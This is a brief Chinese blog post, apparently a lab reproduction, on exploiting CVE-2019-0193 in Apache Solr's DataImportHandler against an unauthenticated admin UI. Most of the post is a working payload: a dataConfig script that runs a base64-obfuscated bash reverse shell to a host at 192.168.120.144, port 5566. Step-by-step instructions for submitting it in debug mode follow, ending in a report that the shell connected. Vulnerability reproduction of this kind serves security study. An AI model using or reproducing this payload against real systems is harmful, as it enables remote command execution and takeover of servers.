CVE-2019-0193

1、访问目标网页

查看是否满足漏洞条件:

条件1:Apache Solr的DataImportHandler启用了模块DataImportHandler(默认不会被启用)

image-20241221142611769

可以看到dataimport可以使用,满足条件1

条件2:Solr Admin UI未开启鉴权认证。(默认情况无需任何认证)

image-20241221142518854

可以看到没有要求登录,满足条件2

2、生成、填入payload

勾选debug,在旁边的Configuration选项中点击debug-mode,在打开的输入框中覆盖填入payload

注:payload中的命令是经过base64编码的

<dataConfig>
  <script><![CDATA[
        function poc() {
            java.lang.Runtime.getRuntime().exec(
                "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMC4xNDQvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}"
            );
        }]]></script>
  <document>
    <entity name="sample"
            fileName=".*"
            baseDir="/"
            processor="FileListEntityProcessor"
            recursive="false"
            transformer="script:poc" />
  </document>
</dataConfig>
image-20241221143248217

3、开始测试

点击Execute with this Confuguration开始执行命令

image-20241221143514052

image-20241221143542417

执行成功!

image-20241221145254298

成功连接shell

posted @ 2025-12-02 09:23  shinianyunyan  阅读(6)  评论(0)    收藏  举报